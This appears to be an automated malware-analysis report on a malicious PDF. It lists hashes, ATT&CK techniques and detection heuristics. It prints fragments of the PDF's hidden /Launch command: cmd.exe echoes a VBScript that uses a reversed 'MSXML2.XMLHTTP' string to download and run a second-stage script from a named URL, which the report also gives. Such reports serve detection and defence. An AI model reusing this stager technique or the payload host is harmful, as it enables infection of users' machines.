Malicious PDF — malware analysis report

Static analysis result for SHA-256 ce5f52c2f843d515…

MALICIOUS

PDF

796 B
MD5: 59ba5cfb1129cc3780a13adcbfdd2e8b SHA-1: fef1355313ade727981faeeda2a09229b3ce68bc SHA-256: ce5f52c2f843d515e8607add73fc9db1205129978a5df4196be26809513ec88d
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.003 Windows Command Shell T1204.002 Malicious File T1566.002 Spearphishing Attachment

The PDF contains a launch action that executes cmd.exe, which in turn echoes a VBScript payload to a file named 'm.vbs'. This script is designed to download and execute a second-stage payload from the embedded URL http://anrk.info/n6/tmp/m.vbs. The reconstructed command line is 'cmd /c echo B="m.vbs":With CreateObject(StrReverse("PTTHLMX.2LMXSM" "Scripting.FileSystemObject" A.GetSpecialFolder(2 "WScript.Shell" 2'.

Heuristics 4

  • Launch action high PDF_LAUNCH
    PDF contains a /Launch action with an unresolved or extension-less target — treat as potentially dangerous
  • Embedded script payload in PDF stream high PDF_EMBEDDED_SCRIPT_PAYLOAD
    PDF stream bytes contain script execution markers such as ActiveXObject/CreateObject, WScript.Shell, PowerShell, or shell-exec primitives. This is stronger than ordinary PDF JavaScript because it indicates a staged external script payload hidden in stream bytes.
  • /Launch action target: cmd high PDF_LAUNCH_COMMAND
    PDF /Launch action specifies an executable target with parameters '/c echo B="m.vbs":With CreateObject(StrReverse("PTTHLMX.2LMXSM"'.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://anrk.info/n6/tmp/m.vbs

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_pdf_script_0000006f.bin
ad55c8e83a5896a04b2012c676820daeab2b84cc539e444c6366e79f55a571c5		 pdf-embedded-script PDF decompressed stream script payload at offset 0x6F 63 bytes

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